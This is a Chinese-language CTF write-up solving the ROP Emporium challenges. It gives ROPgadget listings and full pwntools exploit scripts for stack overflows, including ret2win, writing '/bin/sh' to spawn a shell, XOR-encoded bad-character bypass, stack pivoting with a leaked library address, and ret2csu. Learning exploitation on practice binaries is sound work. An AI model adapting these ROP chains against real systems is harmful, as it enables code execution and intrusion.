跳到主要内容
  1. Posts/

ROP Emporium 练习记录

·

针对 ROP 学习了一下,就记录一下 64 位的做法,32 位同理。不知道为什么对这个网站特别有好感。

ret2win #

最简单的 ret2text,给了到 ebp 的偏移量,只需要找到函数 ret2win 的地址返回过去即可。

from pwn import *

p = process('./ret2win')
elf = ELF('./ret2win')

p.recvuntil('>')

payload = 'a'*0x28 + p64(elf.symbols['ret2win'])
p.sendline(payload)

p.interactive()

split #

拆开了 system/bin/cat flag.txt,因此找到两者地址,准备好参数后返回到 system 上即可。

注意在 32 位上,只需要先放 system 地址,随后填充 4 字节返回地址,再放 /bin/cat flag.txt 地址即可。而 64 位上传参需要控制 rdi 寄存器,因此需要 pop rdi; ret

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./split')
elf = ELF('./split')

p.recvuntil('>')

pop_rdi_ret = 0x400883
bin_cat_flag = 0x601060

payload = flat(['a'*0x28, pop_rdi_ret, bin_cat_flag, elf.plt['system']])
p.sendline(payload)

p.interactive()

callme #

题目要求是依次调用 callme_one(1,2,3)callme_two(1,2,3)callme_three(1,2,3)。要控制三个参数就需要三个寄存器 rdi rsi rdx,我们恰好能找到一条语句:

0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret

之后就是布置好参数了:

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./callme')
elf = ELF('./callme')

p.recvuntil('>')

pop_rdi_rsi_rdx_ret = 0x401ab0

payload = flat(['a'*0x28, pop_rdi_rsi_rdx_ret, 1,2,3, elf.plt['callme_one'], pop_rdi_rsi_rdx_ret, 1,2,3, elf.plt['callme_two'], pop_rdi_rsi_rdx_ret, 1,2,3, elf.plt['callme_three']])
p.sendline(payload)

p.interactive()

write4 #

/bin/cat flag.txt 字符串彻底消失了,题目提示我们需要自己向内存中写入该字符串。checksec 可知 GOT 表可写。

为了写 GOT 表,首先要控制寄存器,然后通过 mov [reg], reg 这样的语句来执行写操作,因此我们搜索一下:

$ ROPgadget --binary write4 --only 'mov|pop|ret'
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

按照上述需求,我们可以选择布置好栈,执行 pop r14 ; pop r15 ; ret 控制 r14r15,随后 mov qword ptr [r14], r15 ; ret 进行写操作,最后 pop rdi ; ret 把写好的 /bin/sh(总觉得拿到 shell 比读到 flag 更厉害一点)作为参数传入,需要注意的是字符串需要 8 字节对齐。

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./write4')
elf = ELF('./write4')

p.recvuntil('>')

got_start = 0x601000
pop_r14_r15_ret = 0x400890
mov_r14_r15_ret = 0x400820
pop_rdi_ret = 0x400893

payload = flat(['a'*0x28, pop_r14_r15_ret, got_start,'/bin/sh'.ljust(8,'\x00'), mov_r14_r15_ret, pop_rdi_ret, got_start, elf.plt['system']])
p.sendline(payload)

p.interactive()

badchars #

题目屏蔽了一些关键字符,并提示了 XOR,也就是说我们可以先写入被异或的关键字符,随后通过 gadgets 把它们异或回来。

题目告诉了我们被屏蔽的字符,所以我们可以先通过 --badbytes 选项避免指令地址中含有这些字符:

$ ROPgadget --binary badchars --only 'mov|pop|ret' --badbytes '62|69|63|2f|20|66|6e|73'

随后,我们构造异或字符串,与 2 异或即可:

s = '/bin/sh'.ljust(8,'\x00')
for i in range(len(s)):
  print hex(ord(s[i]) ^ 2)

得到:

bin_sh = 0x026a712d6c6b602d

注意后面会被认为是小端法,所以这里倒序写。

然后,我们挑选如下的 gadgets:

pop r12 ; pop r13 ; ret
mov qword ptr [r13], r12 ; ret

pop r14 ; pop r15 ; ret
xor byte ptr [r15], r14b ; ret

pop rdi ; ret

第 1,2,5 行和前面一样,而第 3-4 行控制寄存器 r14r15 的值,使得 r14=2r14br14 的低 8 位),r15 存放我们刚刚写入的被异或的字符串地址,随后进行 8 次异或即可恢复出 /bin/sh\x00 来。

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./badchars')
elf = ELF('./badchars')

p.recvuntil('>')

bin_sh = 0x026a712d6c6b602d
got_start = 0x601000
pop_r12_r13_ret = 0x400b3b
mov_r13_r12_ret = 0x400b34

pop_r14_r15_ret = 0x400b40
xor_r15_r14b_ret = 0x400b30

pop_rdi_ret = 0x400b39

payload = flat(['a'*0x28, pop_r12_r13_ret, bin_sh, got_start, mov_r13_r12_ret])

for i in range(8):
    payload += flat([pop_r14_r15_ret, 2, got_start+i, xor_r15_r14b_ret])

payload += flat([pop_rdi_ret, got_start, elf.plt['system']])
p.sendline(payload)

p.interactive()

fluff #

本题减少了一些 gadget,我们不得不间接地通过寄存器写内存。注意这里用 ROPgadget 很难找到合适的 gadget,需要加个 --depth 参数。

$ ROPgadget --binary fluff --depth 20

在众多 gadget 中要找到有用的,我们的思路还是如何去写内存。按照之前经验,还是需要 mov [reg], reg 的语句,这里就有一个:

0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret

但是很不巧,没有 pop r10; pop r11; ret 这么好的 gadget 了,我们只能另辟蹊径去控制这两个寄存器。首先我们要把 GOT 表地址放进 r10。然而我们连 xor r10, reg 这样的语句都没有,非常难受(xor [r10], reg 是没有用的,因为无法改变 r10 本身)。

但是我们注意到,有这样一个 gadget:

0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret

这里可以交换 r11r10 的值,那么我们是不是可以通过控制 r11,然后最后让它和 r10 交换从而控制 r10 呢?

我们发现是可以的,因为有:

0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

这两个 gadget 让我们想到:我们可以先通过第一个 gadget 清零 r11,然后用第二个 gadget 让 r11r12 异或,此时就等同于 mov r11, r12 了。而 r12 是很好控制的:

0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret

这样就可以构造 ROP 链先把地址写入 r10

got_start = 0x601000
xor_r11_r11 = 0x400822
pop_r12 = 0x400832
xor_r11_r12 = 0x40082f
xchg_r11_r10 = 0x400840

payload = flat(['a'*40, xor_r11_r11,'a'*8, pop_r12, got_start, xor_r11_r12,'a'*8, xchg_r11_r10,'a'*8])

这里的 'a'*8 是为了解决后面的无用 pop

第二步,向 r11 写入 /bin/sh\x00,其实和上面同理:

payload += flat([xor_r11_r11,'a'*8, pop_r12,'/bin/sh'.ljust(8,'\x00'), xor_r11_r12,'a'*8])

第三步,向 r10 中的地址写入 r11 中的数据,需要注意的是由于该 gadget 后半部分会 pop r12 并且将 r12 也去和 r10 中的地址存放的值异或,此时我们必须控制 r12 为 0:

mov_r10_r11 = 0x40084e
pop_rdi_ret = 0x4008c3
payload += flat([mov_r10_r11,'a'*8, 0, pop_rdi_ret, got_start, elf.plt['system']])

pivot #

stack pivoting 就是在栈空间较小的情况下,把 esp 移到别的地方去,这样就能有更多空间写 ROP 链了。

这一关大意是要调用 libpivot.so 中的 ret2win 函数,也就是第一关的那个。此外,还有个 uselessFunction 里调用了 libpivot.so 里的 foothold_function

IDA 得到的源码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *ptr; // ST08_8

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("pivot by ROP Emporium");
  puts("64bits\n");
  ptr = (char *)malloc(0x1000000uLL);
  pwnme(ptr + 16776960);
  free(ptr);
  puts("\nExiting");
  return 0;
}

char *__fastcall pwnme(char *a1)
{
  char s; // [rsp+10h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Call ret2win() from libpivot.so");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);
  puts("Send your second chain now and it will land there");
  printf("> ");
  fgets(a1, 256, stdin);
  puts("Now kindly send your stack smash");
  printf("> ", 256LL);
  return fgets(&s, 64, stdin);
}

注意到这里的 a1 会被打印出来,随后被 fgets 写入。我们想尝试让 rsp 指向 a1 来改变 rsp 位置。这个比较简单,只需要 gadget:

pop rax; ret
xchg rax, rsp; ret

通过 pop raxa1 的地址写入 rax,然后交换,那么 rsp 就指向了 a1,我们完成了 stack pivoting

这题容易搞混的地方是,我们的思路是先填 first stage 进行 stack pivoting(也就是上述过程),再填 second stage 调用 ret2win,但是程序中输入的顺序是相反的。

下面我们来看 second stage,也就是考虑我们要先输入什么。我们最终肯定是想返回到 ret2win,但是我们不知道它的地址。checksec libpivot.so 可以发现还开启了 ASLR。因此可以想到这里 foothold_function 就是用来定位用的。

首先(通过 .plt)调用一次 foothold_function 更新其 .got.plt,随后将这个 .got.plt 项的地址 poprax,接着读取 [rax] 也就是这个 .got.plt 项的内容,即得到了 foothold_function 真实地址。

最后,可以根据它在 libpivot.so 中到 ret2win 的相对偏移来拿到 ret2win 的真实地址。这个相对偏移可以通过 nm libpivot.so 得到:前者在 0x0970,后者在 0x0abe,相差 0x14e。最后我们还是利用 gadget 计算出 ret2win 的真实地址后,call 一下即可。

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./pivot')
elf = ELF('./pivot')

p.recvuntil('pivot:')
a1 = int(p.recvuntil('\n'), 16)
print hex(a1)

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
pop_rax_ret = 0x400b00
mov_rax_rax = 0x400b05
pop_rbp_ret = 0x400900
add_rax_rbp = 0x400b09
call_rax = 0x40098e

payload = flat([foothold_plt, pop_rax_ret, foothold_got, mov_rax_rax, pop_rbp_ret, 0x14e, add_rax_rbp, call_rax])

p.recvuntil('>')
p.sendline(payload)

xchg_rax_rsp = 0x400b02
payload = flat(['a'*0x28, pop_rax_ret, a1, xchg_rax_rsp])

p.recvuntil('>')
p.sendline(payload)

p.interactive()

ret2csu #

这题要求我们调用 ret2win 但是第三个参数必须是 0xdeadcafebabebeef,并且 ROPgadget 几乎找不到有用的 gadget 比如 pop rdx; ret。结合题目名可知本题需要采用 ret2csu 的技巧。

__libc_csu_init 中,有 gadget1:

pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn

和 gadget2:

mov     rdx, r15
mov     rsi, r14
mov     edi, r13d
call    qword ptr [r12+rbx*8]

可以看到,这里 rdx, rsi, edi 正好是 64 位下函数的前三个参数,而它们的值在这里来源于 r15, r14, r13d,后三者又恰好可以被 gadget1 控制;而最后一句 call 中的 r12rbx 我们同样可以在 gadget1 中控制。

然而,gadget2 不是以 ret 结尾的,这样我们必须考虑它后面的汇编代码依旧能正常执行下去:

add     rbx, 1
cmp     rbp, rbx
jnz     short loc_400880

add     rsp, 8
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn

这里为了让它继续向下执行,我们不妨让 rbx=0; rbp=1;至于下面多余的 pop 就用填充处理掉就好了。

最后还有一个 call qword ptr [r12+rbx*8] 是我们可控的,但是这里尝试调用 ret2win 是会引起段错误的,不能直接调用。我们只有不引起段错误,才能让 gadget2 成功执行到 ret,那么我们就想随便调用一个不会改变 rdx 的值的函数。

例如,可以调用 .dynamic 段的 _fini,这个函数非常简单:

sub    rsp,0x8
add    rsp,0x8
ret

那么我们控制 r12 指向 _fini 即可,因为 rbx 会被我们设置为 0 所以不用考虑。注意是指向,也就是说 [r12] 才是 _fini 的地址,后者可以 gdbinfo func 得到在 0x4008b4,但是我们需要赋值给 r12 的实际上是指向 0x4008b4 这个地址的指针。

我们可以这样看:

pwndbg> x/20x &_DYNAMIC
0x600e20:    0x00000001    0x00000000    0x00000001    0x00000000
0x600e30:    0x0000000c    0x00000000    0x00400560    0x00000000
0x600e40:    0x0000000d    0x00000000    0x004008b4    0x00000000
0x600e50:    0x00000019    0x00000000    0x00600e10    0x00000000
0x600e60:    0x0000001b    0x00000000    0x00000008    0x00000000

可以看到在 0x600e48 的指针指向 0x4008b4,这就是我们要赋值给 r12 的值。

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')

p = process('./ret2csu')
elf = ELF('./ret2csu')

p.recvuntil('>')

ret2win = elf.symbols['ret2win']
gadget1 = 0x40089a
gadget2 = 0x400880
fini_p = 0x600e48
arg3 = 0xdeadcafebabebeef

payload = flat(['a'*0x28, gadget1, 0, 1, fini_p, 0, 0, arg3, gadget2,0,0,0,0,0,0,0, ret2win])

p.sendline(payload)
p.interactive()